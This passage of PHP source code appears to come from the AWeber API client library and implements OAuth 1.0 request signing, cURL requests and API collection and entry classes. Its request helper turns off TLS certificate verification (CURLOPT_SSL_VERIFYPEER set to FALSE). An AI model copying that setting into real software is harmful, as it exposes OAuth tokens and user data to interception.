$id$ */ class AWeberAPIException extends AWeberException { public $type; public $status; public $message; public $documentation_url; public $url; public function __construct($error, $url) { // record specific details of the API exception for processing $this->url = $url; $this->type = $error['type']; $this->status = $error['status']; $this->message = $error['message']; $this->documentation_url = $error['documentation_url']; parent::__construct($this->message); } } /** * Thrown when attempting to use a resource that is not implemented. * * @uses AWeberException * @package * @version $id$ */ class AWeberResourceNotImplemented extends AWeberException { public function __construct($object, $value) { $this->object = $object; $this->value = $value; parent::__construct("Resource \"{$value}\" is not implemented on this resource."); } } /** * AWeberMethodNotImplemented * * Thrown when attempting to call a method that is not implemented for a resource * / collection. Differs from standard method not defined errors, as this will * be thrown when the method is infact implemented on the base class, but the * current resource type does not provide access to that method (ie calling * getByMessageNumber on a web_forms collection). * * @uses AWeberException * @package * @version $id$ */ class AWeberMethodNotImplemented extends AWeberException { public function __construct($object) { $this->object = $object; parent::__construct("This method is not implemented by the current resource."); } } /** * AWeberOAuthException * * OAuth exception, as generated by an API JSON error response * @uses AWeberException * @package * @version $id$ */ class AWeberOAuthException extends AWeberException { public function __construct($type, $message) { $this->type = $type; $this->message = $message; parent::__construct("{$type}: {$message}"); } } /** * AWeberOAuthDataMissing * * Used when a specific piece or pieces of data was not found in the * response. This differs from the exception that might be thrown as * an AWeberOAuthException when parameters are not provided because * it is not the servers' expectations that were not met, but rather * the expecations of the client were not met by the server. * * @uses AWeberException * @package * @version $id$ */ class AWeberOAuthDataMissing extends AWeberException { public function __construct($missing) { if (!is_array($missing)) $missing = array($missing); $this->missing = $missing; $required = join(', ', $this->missing); parent::__construct("OAuthDataMissing: Response was expected to contain: {$required}"); } } /** * AWeberResponseError * * This is raised when the server returns a non-JSON response. This * should only occur when there is a server or some type of connectivity * issue. * * @uses AWeberException * @package * @version $id$ */ class AWeberResponseError extends AWeberException { public function __construct($uri) { $this->uri = $uri; parent::__construct("Request for {$uri} did not respond properly."); } } interface AWeberOAuthAdapter { public function request($method, $uri, $data = array()); public function getRequestToken($callbackUrl=false); } # CurlResponse # # Author Sean Huber - shuber@huberry.com # Date May 2008 # # A basic CURL wrapper for PHP # # See the README for documentation/examples or http://php.net/curl for more information # about the libcurl extension for PHP -- http://github.com/shuber/curl/tree/master # class CurlResponse { public $body = ''; public $headers = array(); public function __construct($response) { # Extract headers from response $pattern = '#HTTP/\d\.\d.*?$.*?\r\n\r\n#ims'; preg_match_all($pattern, $response, $matches); $headers = explode("\r\n", str_replace("\r\n\r\n", '', array_pop($matches[0]))); # Extract the version and status from the first header $version_and_status = array_shift($headers); preg_match('#HTTP/(\d\.\d)\s(\d\d\d)\s(.*)#', $version_and_status, $matches); $this->headers['Http-Version'] = $matches[1]; $this->headers['Status-Code'] = $matches[2]; $this->headers['Status'] = $matches[2].' '.$matches[3]; # Convert headers into an associative array foreach ($headers as $header) { preg_match('#(.*?)\:\s(.*)#', $header, $matches); $this->headers[$matches[1]] = $matches[2]; } # Remove the headers from the response body $this->body = preg_replace($pattern, '', $response); } public function __toString() { return $this->body; } public function headers(){ return $this->headers; } } /** * OAuthServiceProvider * * Represents the service provider in the OAuth authentication model. * The class that implements the service provider will contain the * specific knowledge about the API we are interfacing with, and * provide useful methods for interfacing with its API. * * For example, an OAuthServiceProvider would know the URLs necessary * to perform specific actions, the type of data that the API calls * would return, and would be responsible for manipulating the results * into a useful manner. * * It should be noted that the methods enforced by the OAuthServiceProvider * interface are made so that it can interact with our OAuthApplication * cleanly, rather than from a general use perspective, though some * methods for those purposes do exists (such as getUserData). * * @package * @version $id$ */ interface OAuthServiceProvider { public function getAccessTokenUrl(); public function getAuthorizeUrl(); public function getRequestTokenUrl(); public function getAuthTokenFromUrl(); public function getBaseUri(); public function getUserData(); } /** * OAuthApplication * * Base class to represent an OAuthConsumer application. This class is * intended to be extended and modified for each ServiceProvider. Each * OAuthServiceProvider should have a complementary OAuthApplication * * The OAuthApplication class should contain any details on preparing * requires that is unique or specific to that specific service provider's * implementation of the OAuth model. * * This base class is based on OAuth 1.0, designed with AWeber's implementation * as a model. An OAuthApplication built to work with a different service * provider (especially an OAuth2.0 Application) may alter or bypass portions * of the logic in this class to meet the needs of the service provider it * is designed to interface with. * * @package * @version $id$ */ class OAuthApplication implements AWeberOAuthAdapter { public $debug = false; public $userAgent = 'AWeber OAuth Consumer Application 1.0 - https://labs.aweber.com/'; public $format = false; public $requiresTokenSecret = true; public $signatureMethod = 'HMAC-SHA1'; public $version = '1.0'; /** * @var OAuthUser User currently interacting with the service provider */ public $user = false; // Data binding this OAuthApplication to the consumer application it is acting // as a proxy for public $consumerKey = false; public $consumerSecret = false; /** * __construct * * Create a new OAuthApplication, based on an OAuthServiceProvider * @access public * @return void */ public function __construct($parentApp = false) { if ($parentApp) { $oa = 'OAuthServiceProvider'; if (!($parentApp instanceof $oa)) { throw new Exception('Parent App must be a valid OAuthServiceProvider!'); } $this->app = $parentApp; } $this->user = new OAuthUser(); } /** * request * * Implemented for a standard OAuth adapter interface * @param mixed $method * @param mixed $uri * @param array $data * @param array $options * @access public * @return void */ public function request($method, $uri, $data = array(), $options = array()) { $uri = $this->app->removeBaseUri($uri); $url = $this->app->getBaseUri() . $uri; # WARNING: non-primative items in data must be json serialized. if ($method == 'POST' or $method == 'GET') { foreach ($data as $key => $value) { if (is_array($value)) { $data[$key] = json_encode($value); } } } $response = $this->makeRequest($method, $url, $data); if (!$response) { throw new AWeberResponseError($uri); } if($response->headers['Status-Code'] >= 400) { $data = json_decode($response->body, true); throw new AWeberAPIException($data['error'], $url); } if (!empty($options['return'])) { if ($options['return'] == 'status') { return $response->headers['Status-Code']; } if ($options['return'] == 'headers') { return $response->headers; } if ($options['return'] == 'integer') { return intval($response->body); } } $data = json_decode($response->body, true); if (empty($options['allow_empty']) && empty($data)) { throw new AWeberResponseError($uri); } return $data; } /** * getRequestToken * * Gets a new request token / secret for this user. * @access public * @return void */ public function getRequestToken($callbackUrl=false) { $data = ($callbackUrl)? array('oauth_callback' => $callbackUrl) : array(); $resp = $this->makeRequest('POST', $this->app->getRequestTokenUrl(), $data); $data = $this->parseResponse($resp); $this->requiredFromResponse($data, array('oauth_token', 'oauth_token_secret')); $this->user->requestToken = $data['oauth_token']; $this->user->tokenSecret = $data['oauth_token_secret']; return $data['oauth_token']; } /** * getAccessToken * * Makes a request for access tokens. Requires that the current user has an authorized * token and token secret. * * @access public * @return void */ public function getAccessToken() { $resp = $this->makeRequest('POST', $this->app->getAccessTokenUrl(), array('oauth_verifier' => $this->user->verifier) ); $data = $this->parseResponse($resp); $this->requiredFromResponse($data, array('oauth_token', 'oauth_token_secret')); if (empty($data['oauth_token'])) { throw new AWeberOAuthDataMissing('oauth_token'); } $this->user->accessToken = $data['oauth_token']; $this->user->tokenSecret = $data['oauth_token_secret']; return array($data['oauth_token'], $data['oauth_token_secret']); } /** * parseAsError * * Checks if response is an error. If it is, raise an appropriately * configured exception. * * @param mixed $response Data returned from the server, in array form * @access public * @throws AWeberOAuthException * @return void */ public function parseAsError($response) { if (!empty($response['error'])) { throw new AWeberOAuthException($response['error']['type'], $response['error']['message']); } } /** * requiredFromResponse * * Enforce that all the fields in requiredFields are present and not * empty in data. If a required field is empty, throw an exception. * * @param mixed $data Array of data * @param mixed $requiredFields Array of required field names. * @access protected * @return void */ protected function requiredFromResponse($data, $requiredFields) { foreach ($requiredFields as $field) { if (empty($data[$field])) { throw new AWeberOAuthDataMissing($field . '
    '.print_r($data, true)); } } } /** * get * * Make a get request. Used to exchange user tokens with serice provider. * @param mixed $url URL to make a get request from. * @param array $data Data for the request. * @access protected * @return void */ protected function get($url, $data) { $url = $this->_addParametersToUrl($url, $data); $handle = curl_init($url); $resp = $this->_sendRequest($handle); return $resp; } /** * _addParametersToUrl * * Adds the parameters in associative array $data to the * given URL * @param String $url URL * @param array $data Parameters to be added as a query string to * the URL provided * @access protected * @return void */ protected function _addParametersToUrl($url, $data) { if (!empty($data)) { if (strpos($url, '?') === false) { $url .= '?'.$this->buildData($data); } else { $url .= '&'.$this->buildData($data); } } return $url; } /** * generateNonce * * Generates a 'nonce', which is a unique request id based on the * timestamp. If no timestamp is provided, generate one. * @param mixed $timestamp Either a timestamp (epoch seconds) or false, * in which case it will generate a timestamp. * @access public * @return string Returns a unique nonce */ public function generateNonce($timestamp = false) { if (!$timestamp) $timestamp = $this->generateTimestamp(); return md5($timestamp.'-'.rand(10000,99999).'-'.uniqid()); } /** * generateTimestamp * * Generates a timestamp, in seconds * @access public * @return int Timestamp, in epoch seconds */ public function generateTimestamp() { return time(); } /** * createSignature * * Creates a signature on the signature base and the signature key * @param mixed $sigBase Base string of data to sign * @param mixed $sigKey Key to sign the data with * @access public * @return string The signature */ public function createSignature($sigBase, $sigKey) { switch ($this->signatureMethod) { case 'HMAC-SHA1': default: return base64_encode(hash_hmac('sha1', $sigBase, $sigKey, true)); } } /** * encode * * Short-cut for utf8_encode / rawurlencode * @param mixed $data Data to encode * @access protected * @return void Encoded data */ protected function encode($data) { return rawurlencode(utf8_encode($data)); } /** * createSignatureKey * * Creates a key that will be used to sign our signature. Signatures * are signed with the consumerSecret for this consumer application and * the token secret of the user that the application is acting on behalf * of. * @access public * @return void */ public function createSignatureKey() { return $this->consumerSecret.'&'.$this->user->tokenSecret; } /** * getOAuthRequestData * * Get all the pre-signature, OAuth specific parameters for a request. * @access public * @return void */ public function getOAuthRequestData() { $token = $this->user->getHighestPriorityToken(); $ts = $this->generateTimestamp(); $nonce = $this->generateNonce($ts); return array( 'oauth_token' => $token, 'oauth_consumer_key' => $this->consumerKey, 'oauth_version' => $this->version, 'oauth_timestamp' => $ts, 'oauth_signature_method' => $this->signatureMethod, 'oauth_nonce' => $nonce); } /** * mergeOAuthData * * @param mixed $requestData * @access public * @return void */ public function mergeOAuthData($requestData) { $oauthData = $this->getOAuthRequestData(); return array_merge($requestData, $oauthData); } /** * createSignatureBase * * @param mixed $method String name of HTTP method, such as "GET" * @param mixed $url URL where this request will go * @param mixed $data Array of params for this request. This should * include ALL oauth properties except for the signature. * @access public * @return void */ public function createSignatureBase($method, $url, $data) { $method = $this->encode(strtoupper($method)); $query = parse_url($url, PHP_URL_QUERY); if ($query) { $url = array_shift(split('\?', $url, 2)); $items = explode('&', $query); foreach ($items as $item) { list($key, $value) = explode('=', $item); $data[$key] = $value; } } $url = $this->encode($url); $data = $this->encode($this->collapseDataForSignature($data)); return $method.'&'.$url.'&'.$data; } /** * collapseDataForSignature * * Turns an array of request data into a string, as used by the oauth * signature * @param mixed $data * @access public * @return void */ public function collapseDataForSignature($data) { ksort($data); $collapse = ''; foreach ($data as $key => $val) { if (!empty($collapse)) $collapse .= '&'; $collapse .= $key.'='.$this->encode($val); } return $collapse; } /** * signRequest * * Signs the request. * * @param mixed $method HTTP method * @param mixed $url URL for the request * @param mixed $data The data to be signed * @access public * @return array The data, with the signature. */ public function signRequest($method, $url, $data) { $base = $this->createSignatureBase($method, $url, $data); $key = $this->createSignatureKey(); $data['oauth_signature'] = $this->createSignature($base, $key); ksort($data); return $data; } /** * makeRequest * * Public facing function to make a request * @param mixed $method * @param mixed $url * @param mixed $data * @access public * @return void */ public function makeRequest($method, $url, $data=array()) { $oauth = $this->prepareRequest($method, $url, $data); if ($this->debug) echo "\n** {$method}: $url\n"; if (strtoupper($method) == 'POST') { $resp = $this->post($url, $oauth); } else if (strtoupper($method) == 'DELETE') { $resp = $this->delete($url, $oauth); } else if (strtoupper($method) == 'PATCH') { $oauth = $this->prepareRequest($method, $url, array()); $resp = $this->patch($url, $oauth, $data); } else { $resp = $this->get($url, $oauth, $data); } if ($this->debug) { echo "
    ";
                print_r($oauth);
                echo " --> Status: {$resp->headers['Status-Code']}\n";
                echo " --> Body: {$resp->body}";
                echo "
    "; } return $resp; } /** * put * * Prepare an OAuth put method. * * @param mixed $url URL where we are making the request to * @param mixed $data Data that is used to make the request * @access private * @return void */ protected function patch($url, $oauth, $data) { $url = $this->_addParametersToUrl($url, $oauth); $handle = curl_init($url); curl_setopt($handle, CURLOPT_CUSTOMREQUEST, 'PATCH'); curl_setopt($handle, CURLOPT_POSTFIELDS, json_encode($data)); $resp = $this->_sendRequest($handle, array('Expect:', 'Content-Type: application/json')); return $resp; } /** * post * * Prepare an OAuth post method. * * @param mixed $url URL where we are making the request to * @param mixed $data Data that is used to make the request * @access private * @return void */ protected function post($url, $oauth) { $handle = curl_init($url); $postData = $this->buildData($oauth); curl_setopt($handle, CURLOPT_POST, true); curl_setopt($handle, CURLOPT_POSTFIELDS, $postData); $resp = $this->_sendRequest($handle); return $resp; } /** * delete * * Makes a DELETE request * @param mixed $url URL where we are making the request to * @param mixed $data Data that is used in the request * @access protected * @return void */ protected function delete($url, $data) { $url = $this->_addParametersToUrl($url, $data); $handle = curl_init($url); curl_setopt($handle, CURLOPT_CUSTOMREQUEST, 'DELETE'); $resp = $this->_sendRequest($handle); return $resp; } /** * buildData * * Creates a string of data for either post or get requests. * @param mixed $data Array of key value pairs * @access public * @return void */ public function buildData($data) { ksort($data); $params = array(); foreach ($data as $key => $value) { $params[] = $key.'='.$this->encode($value); } return implode('&', $params); } /** * _sendRequest * * Actually makes a request. * @param mixed $handle Curl handle * @param array $headers Additional headers needed for request * @access private * @return void */ private function _sendRequest($handle, $headers = array('Expect:')) { curl_setopt($handle, CURLOPT_RETURNTRANSFER, true); curl_setopt($handle, CURLOPT_HEADER, true); curl_setopt($handle, CURLOPT_HTTPHEADER, $headers); curl_setopt($handle, CURLOPT_USERAGENT, $this->userAgent); curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($handle, CURLOPT_VERBOSE, FALSE); curl_setopt($handle, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($handle, CURLOPT_TIMEOUT, 90); $resp = curl_exec($handle); if ($resp) { return new CurlResponse($resp); } $this->error = curl_errno($handle).' - '.curl_error($handle); return false; } /** * prepareRequest * * @param mixed $method HTTP method * @param mixed $url URL for the request * @param mixed $data The data to generate oauth data and be signed * @access public * @return void The data, with all its OAuth variables and signature */ public function prepareRequest($method, $url, $data) { $data = $this->mergeOAuthData($data); $data = $this->signRequest($method, $url, $data); return $data; } /** * parseResponse * * Parses the body of the response into an array * @param mixed $string The body of a response * @access public * @return void */ public function parseResponse($resp) { $data = array(); if (!$resp) { return $data; } if (empty($resp)) { return $data; } if (empty($resp->body)) { return $data; } switch ($this->format) { case 'json': $data = json_decode($resp->body); break; default: parse_str($resp->body, $data); } $this->parseAsError($data); return $data; } } /** * OAuthUser * * Simple data class representing the user in an OAuth application. * @package * @version $id$ */ class OAuthUser { public $authorizedToken = false; public $requestToken = false; public $verifier = false; public $tokenSecret = false; public $accessToken = false; /** * isAuthorized * * Checks if this user is authorized. * @access public * @return void */ public function isAuthorized() { if (empty($this->authorizedToken) && empty($this->accessToken)) { return false; } return true; } /** * getHighestPriorityToken * * Returns highest priority token - used to define authorization * state for a given OAuthUser * @access public * @return void */ public function getHighestPriorityToken() { if (!empty($this->accessToken)) return $this->accessToken; if (!empty($this->authorizedToken)) return $this->authorizedToken; if (!empty($this->requestToken)) return $this->requestToken; // Return no token, new user return ''; } } /** * AWeberResponse * * Base class for objects that represent a response from the AWeberAPI. * Responses will exist as one of the two AWeberResponse subclasses: * - AWeberEntry - a single instance of an AWeber resource * - AWeberCollection - a collection of AWeber resources * @uses AWeberAPIBase * @package * @version $id$ */ class AWeberResponse extends AWeberAPIBase { public $adapter = false; public $data = array(); public $_dynamicData = array(); /** * __construct * * Creates a new AWeberRespones * * @param mixed $response Data returned by the API servers * @param mixed $url URL we hit to get the data * @param mixed $adapter OAuth adapter used for future interactions * @access public * @return void */ public function __construct($response, $url, $adapter) { $this->adapter = $adapter; $this->url = $url; $this->data = $response; } /** * __set * * Manual re-implementation of __set, allows sub classes to access * the default behavior by using the parent:: format. * * @param mixed $key Key of the attr being set * @param mixed $value Value being set to the attr * @access public */ public function __set($key, $value) { $this->{$key} = $value; } /** * __get * * PHP "MagicMethod" to allow for dynamic objects. Defers first to the * data in $this->data. * * @param String $value Name of the attribute requested * @access public * @return mixed */ public function __get($value) { if (in_array($value, $this->_privateData)) { return null; } if (isset($this->data[$value])) { return $this->data[$value]; } if ($value == 'type') return $this->_type(); } } class AWeberCollection extends AWeberResponse implements ArrayAccess, Iterator, Countable { protected $pageSize = 100; protected $_entries = array(); /** * @var array Holds list of keys that are not publicly accessible */ protected $_privateData = array( 'entries', 'start', 'next_collection_link', ); /** * getById * * Gets an entry object of this collection type with the given id * @param mixed $id ID of the entry you are requesting * @access public * @return AWeberEntry */ public function getById($id) { $data = $this->adapter->request('GET', "{$this->url}/{$id}"); return $this->_makeEntry($data, $id, "{$this->url}/{$id}"); } /** * create * * Invoke the API method to CREATE a new entry resource. * * Note: Not all entry resources are eligible to be created, please * refer to the AWeber API Reference Documentation at * https://labs.aweber.com/docs/reference/1.0 for more * details on which entry resources may be created and what * attributes are required for creating resources. * * @access public * @param params mixed associtative array of key/value pairs. * @return AWeberEntry(Resource) The new resource created */ public function create($kv_pairs) { # Create Resource $params = array_merge(array('ws.op' => 'create'), $kv_pairs); $data = $this->adapter->request('POST', $this->url, $params, array('return' => 'headers')); $this->_entries = array(); # Return new Resource $url = $data['Location']; $resource_data = $this->adapter->request('GET', $url); return new AWeberEntry($resource_data, $url, $this->adapter); } /** * find * * Invoke the API 'find' operation on a collection to return a subset * of that collection. Not all collections support the 'find' operation. * refer to https://labs.aweber.com/docs/reference/1.0 for more information. * * @param mixed $search_data Associative array of key/value pairs used as search filters * * refer to https://labs.aweber.com/docs/reference/1.0 for a * complete list of valid search filters. * * filtering on attributes that require additional permissions to * display requires an app authorized with those additional permissions. * @access public * @return AWeberCollection */ public function find($search_data) { # invoke find operation $params = array_merge($search_data, array('ws.op' => 'find')); $data = $this->adapter->request('GET', $this->url, $params); # get total size $ts_params = array_merge($params, array('ws.show' => 'total_size')); $total_size = $this->adapter->request('GET', $this->url, $ts_params, array('return' => 'integer')); $data['total_size'] = $total_size; # return collection return $this->readResponse($data, $this->url); } /** getParentEntry * * Gets an entry's parent entry * Returns NULL if no parent entry */ public function getParentEntry(){ $url_parts = explode('/', $this->url); $size = count($url_parts); #Remove collection id and slash from end of url $url = substr($this->url, 0, -strlen($url_parts[$size-1])-1); try { $data = $this->adapter->request('GET', $url); return new AWeberEntry($data, $url, $this->adapter); } catch (Exception $e) { return NULL; } } /** * _getPageParams * * Returns an array of GET params used to set the page of a collection * request * @param int $start Which entry offset should this page start on? * @param int $size How many entries should be included in this page? * @access protected * @return void */ protected function _getPageParams($start=0, $size=20) { if ($start > 0) { $params = array( 'ws.start' => $start, 'ws.size' => $size, ); ksort($params); } else { $params = array(); } return $params; } /** * _type * * Interpret what type of resources are held in this collection by * analyzing the URL * * @access protected * @return void */ protected function _type() { $urlParts = explode('/', $this->url); $type = array_pop($urlParts); return $type; } /** * _calculatePageSize * * Calculates the page size of this collection based on the data in the * next and prev links. * * @access protected * @return integer */ protected function _calculatePageSize() { if (isset($this->data['next_collection_link'])) { $url = $this->data['next_collection_link']; $urlParts = parse_url($url); if (empty($urlParts['query'])) return $this->pageSize; $query = array(); parse_str($urlParts['query'], $query); if (empty($query['ws_size'])) return $this->pageSize; $this->pageSize = $query['ws_size']; } return $this->pageSize; } /** * _loadPageForOffset * * Makes a request for an additional page of entries, based on the given * offset. Calculates the start / size of the page needed to get that * offset, requests for it, and then merges the data into it internal * collection of entry data. * * @param mixed $offset The offset requested, 0 to total_size-1 * @access protected * @return void */ protected function _loadPageForOffset($offset) { $this->_calculatePageSize(); $start = round($offset / $this->pageSize) * $this->pageSize; $params = $this->_getPageParams($start, $this->pageSize); // Loading page $data = $this->adapter->request('GET', $this->url, $params); $this->adapter->debug = false; $rekeyed = array(); foreach ($data['entries'] as $key => $entry) { $rekeyed[$key+$data['start']] = $entry; } $this->data['entries'] = array_merge($this->data['entries'], $rekeyed); } /** * _getEntry * * Makes sure that entry offset's page is loaded, then returns it. Returns * null if the entry can't be loaded, even after requesting the needed * page. * * @param mixed $offset Offset being requested. * @access protected * @return void */ protected function _getEntry($offset) { if (empty($this->data['entries'][$offset])) { $this->_loadPageForOffset($offset); } return (empty($this->data['entries'][$offset]))? null : $this->data['entries'][$offset]; } /** * _makeEntry * * Creates an entry object from the given entry data. Optionally can take * the id AND URL of the entry, though that data can be infered from the * context in which _makeEntry is being called. * * @param mixed $data Array of data returned from an API request for * entry, or as part of the entries array in this collection. * @param mixed $id ID of the entry. (Optional) * @param mixed $url URL used to retrieve this entry (Optional) * @access protected * @return void */ protected function _makeEntry($data, $id = false, $url = false) { if ((!$url) or (!$id)) { // if either the url or id is omitted, grab the url from the // self_link of the resource $url = $this->adapter->app->removeBaseUri($data['self_link']); } else { $url = "{$this->url}/{$id}"; } return new AWeberEntry($data, $url, $this->adapter); } /** * ArrayAccess interface methods * * Allows this object to be accessed via bracket notation (ie $obj[$x]) * http://php.net/manual/en/class.arrayaccess.php */ public function offsetSet($offset, $value) { } public function offsetUnset($offset) {} public function offsetExists($offset) { if ($offset >=0 && $offset < $this->total_size) { return true; } return false; } public function offsetGet($offset) { if (!$this->offsetExists($offset)) return null; if (!empty($this->_entries[$offset])) return $this->_entries[$offset]; $this->_entries[$offset] = $this->_makeEntry($this->_getEntry($offset)); return $this->_entries[$offset]; } /** * Iterator interface methods * * Provides iterator functionality. * http://php.net/manual/en/class.iterator.php */ protected $_iterationKey = 0; public function current() { return $this->offsetGet($this->_iterationKey); } public function key() { return $this->_iterationKey; } public function next() { $this->_iterationKey++; } public function rewind() { $this->_iterationKey = 0; } public function valid() { return $this->offsetExists($this->key()); } /** * Countable interface methods * * Allows PHP's count() and sizeOf() functions to act on this object * http://www.php.net/manual/en/class.countable.php */ public function count() { return $this->total_size; } } class AWeberEntryDataArray implements ArrayAccess, Countable, Iterator { private $counter = 0; protected $data; protected $keys; protected $name; protected $parent; public function __construct($data, $name, $parent) { $this->data = $data; $this->keys = array_keys($data); $this->name = $name; $this->parent = $parent; } public function count() { return sizeOf($this->data); } public function offsetExists($offset) { return (isset($this->data[$offset])); } public function offsetGet($offset) { return $this->data[$offset]; } public function offsetSet($offset, $value) { $this->data[$offset] = $value; $this->parent->{$this->name} = $this->data; return $value; } public function offsetUnset($offset) { unset($this->data[$offset]); } public function rewind() { $this->counter = 0; } public function current() { return $this->data[$this->key()]; } public function key() { return $this->keys[$this->counter]; } public function next() { $this->counter++; } public function valid() { if ($this->counter >= sizeOf($this->data)) { return false; } return true; } } class AWeberEntry extends AWeberResponse { /** * @var array Holds list of data keys that are not publicly accessible */ protected $_privateData = array( 'resource_type_link', 'http_etag', ); /** * @var array Stores local modifications that have not been saved */ protected $_localDiff = array(); /** * @var array Holds AWeberCollection objects already instantiated, keyed by * their resource name (plural) */ protected $_collections = array(); /** * attrs * * Provides a simple array of all the available data (and collections) available * in this entry. * * @access public * @return array */ public function attrs() { $attrs = array(); foreach ($this->data as $key => $value) { if (!in_array($key, $this->_privateData) && !strpos($key, 'collection_link')) { $attrs[$key] = $value; } } if (!empty(AWeberAPI::$_collectionMap[$this->type])) { foreach (AWeberAPI::$_collectionMap[$this->type] as $child) { $attrs[$child] = 'collection'; } } return $attrs; } /** * _type * * Used to pull the name of this resource from its resource_type_link * @access protected * @return String */ protected function _type() { if (empty($this->type)) { $typeLink = $this->data['resource_type_link']; if (empty($typeLink)) return null; list($url, $type) = explode('#', $typeLink); $this->type = $type; } return $this->type; } /** * delete * * Delete this object from the AWeber system. May not be supported * by all entry types. * @access public * @return boolean Returns true if it is successfully deleted, false * if the delete request failed. */ public function delete() { $this->adapter->request('DELETE', $this->url, array(), array('return' => 'status')); return true; } /** * move * * Invoke the API method to MOVE an entry resource to a different List. * * Note: Not all entry resources are eligible to be moved, please * refer to the AWeber API Reference Documentation at * https://labs.aweber.com/docs/reference/1.0 for more * details on which entry resources may be moved and if there * are any requirements for moving that resource. * * @access public * @param AWeberEntry(List) List to move Resource (this) too. * @return mixed AWeberEntry(Resource) Resource created on List ($list) * or False if resource was not created. */ public function move($list) { # Move Resource $params = array('ws.op' => 'move', 'list_link' => $list->self_link); $data = $this->adapter->request('POST', $this->url, $params, array('return' => 'headers')); # Return new Resource $url = $data['Location']; $resource_data = $this->adapter->request('GET', $url); return new AWeberEntry($resource_data, $url, $this->adapter); } /** * save * * Saves the current state of this object if it has been changed. * @access public * @return void */ public function save() { if (!empty($this->_localDiff)) { $data = $this->adapter->request('PATCH', $this->url, $this->_localDiff, array('return' => 'status')); } $this->_localDiff = array(); return true; } /** * __get * * Used to look up items in data, and special properties like type and * child collections dynamically. * * @param String $value Attribute being accessed * @access public * @throws AWeberResourceNotImplemented * @return mixed */ public function __get($value) { if (in_array($value, $this->_privateData)) { return null; } if (!empty($this->data) && array_key_exists($value, $this->data)) { if (is_array($this->data[$value])) { $array = new AWeberEntryDataArray($this->data[$value], $value, $this); $this->data[$value] = $array; } return $this->data[$value]; } if ($value == 'type') return $this->_type(); if ($this->_isChildCollection($value)) { return $this->_getCollection($value); } throw new AWeberResourceNotImplemented($this, $value); } /** * __set * * If the key provided is part of the data array, then update it in the * data array. Otherwise, use the default __set() behavior. * * @param mixed $key Key of the attr being set * @param mixed $value Value being set to the $key attr * @access public */ public function __set($key, $value) { if (isset($this->data[$key])) { $this->_localDiff[$key] = $value; return $this->data[$key] = $value; } else { return parent::__set($key, $value); } } /** * findSubscribers * * Looks through all lists for subscribers * that match the given filter * @access public * @return AWeberCollection */ public function findSubscribers($search_data) { $this->_methodFor(array('account')); $params = array_merge($search_data, array('ws.op' => 'findSubscribers')); $data = $this->adapter->request('GET', $this->url, $params); $ts_params = array_merge($params, array('ws.show' => 'total_size')); $total_size = $this->adapter->request('GET', $this->url, $ts_params, array('return' => 'integer')); # return collection $data['total_size'] = $total_size; $url = $this->url . '?'. http_build_query($params, '', '&'); return new AWeberCollection($data, $url, $this->adapter); } /** * getActivity * * Returns analytics activity for a given subscriber * @access public * @return AWeberCollection */ public function getActivity() { $this->_methodFor(array('subscriber')); $params = array('ws.op' => 'getActivity'); $data = $this->adapter->request('GET', $this->url, $params); $ts_params = array_merge($params, array('ws.show' => 'total_size')); $total_size = $this->adapter->request('GET', $this->url, $ts_params, array('return' => 'integer')); # return collection $data['total_size'] = $total_size; $url = $this->url . '?'. http_build_query($params, '', '&'); return new AWeberCollection($data, $url, $this->adapter); } /** getParentEntry * * Gets an entry's parent entry * Returns NULL if no parent entry */ public function getParentEntry(){ $url_parts = explode('/', $this->url); $size = count($url_parts); #Remove entry id and slash from end of url $url = substr($this->url, 0, -strlen($url_parts[$size-1])-1); #Remove collection name and slash from end of url $url = substr($url, 0, -strlen($url_parts[$size-2])-1); try { $data = $this->adapter->request('GET', $url); return new AWeberEntry($data, $url, $this->adapter); } catch (Exception $e) { return NULL; } } /** * getWebForms * * Gets all web_forms for this account * @access public * @return array */ public function getWebForms() { $this->_methodFor(array('account')); $data = $this->adapter->request('GET', $this->url.'?ws.op=getWebForms', array(), array('allow_empty' => true)); return $this->_parseNamedOperation($data); } /** * getWebFormSplitTests * * Gets all web_form split tests for this account * @access public * @return array */ public function getWebFormSplitTests() { $this->_methodFor(array('account')); $data = $this->adapter->request('GET', $this->url.'?ws.op=getWebFormSplitTests', array(), array('allow_empty' => true)); return $this->_parseNamedOperation($data); } /** * _parseNamedOperation * * Turns a dumb array of json into an array of Entries. This is NOT * a collection, but simply an array of entries, as returned from a * named operation. * * @param array $data * @access protected * @return array */ protected function _parseNamedOperation($data) { $results = array(); foreach($data as $entryData) { $results[] = new AWeberEntry($entryData, str_replace($this->adapter->app->getBaseUri(), '', $entryData['self_link']), $this->adapter); } return $results; } /** * _methodFor * * Raises exception if $this->type is not in array entryTypes. * Used to restrict methods to specific entry type(s). * @param mixed $entryTypes Array of entry types as strings, ie array('account') * @access protected * @return void */ protected function _methodFor($entryTypes) { if (in_array($this->type, $entryTypes)) return true; throw new AWeberMethodNotImplemented($this); } /** * _getCollection * * Returns the AWeberCollection object representing the given * collection name, relative to this entry. * * @param String $value The name of the sub-collection * @access protected * @return AWeberCollection */ protected function _getCollection($value) { if (empty($this->_collections[$value])) { $url = "{$this->url}/{$value}"; $data = $this->adapter->request('GET', $url); $this->_collections[$value] = new AWeberCollection($data, $url, $this->adapter); } return $this->_collections[$value]; } /** * _isChildCollection * * Is the given name of a collection a child collection of this entry? * * @param String $value The name of the collection we are looking for * @access protected * @return boolean * @throws AWeberResourceNotImplemented */ protected function _isChildCollection($value) { $this->_type(); if (!empty(AWeberAPI::$_collectionMap[$this->type]) && in_array($value, AWeberAPI::$_collectionMap[$this->type])) return true; return false; } } /** * AWeberServiceProvider * * Provides specific AWeber information or implementing OAuth. * @uses OAuthServiceProvider * @package * @version $id$ */ class AWeberServiceProvider implements OAuthServiceProvider { /** * @var String Location for API calls */ public $baseUri = 'https://api.aweber.com/1.0'; /** * @var String Location to request an access token */ public $accessTokenUrl = 'https://auth.aweber.com/1.0/oauth/access_token'; /** * @var String Location to authorize an Application */ public $authorizeUrl = 'https://auth.aweber.com/1.0/oauth/authorize'; /** * @var String Location to request a request token */ public $requestTokenUrl = 'https://auth.aweber.com/1.0/oauth/request_token'; public function getBaseUri() { return $this->baseUri; } public function removeBaseUri($url) { return str_replace($this->getBaseUri(), '', $url); } public function getAccessTokenUrl() { return $this->accessTokenUrl; } public function getAuthorizeUrl() { return $this->authorizeUrl; } public function getRequestTokenUrl() { return $this->requestTokenUrl; } public function getAuthTokenFromUrl() { return ''; } public function getUserData() { return ''; } } /** * AWeberAPIBase * * Base object that all AWeberAPI objects inherit from. Allows specific pieces * of functionality to be shared across any object in the API, such as the * ability to introspect the collections map. * * @package * @version 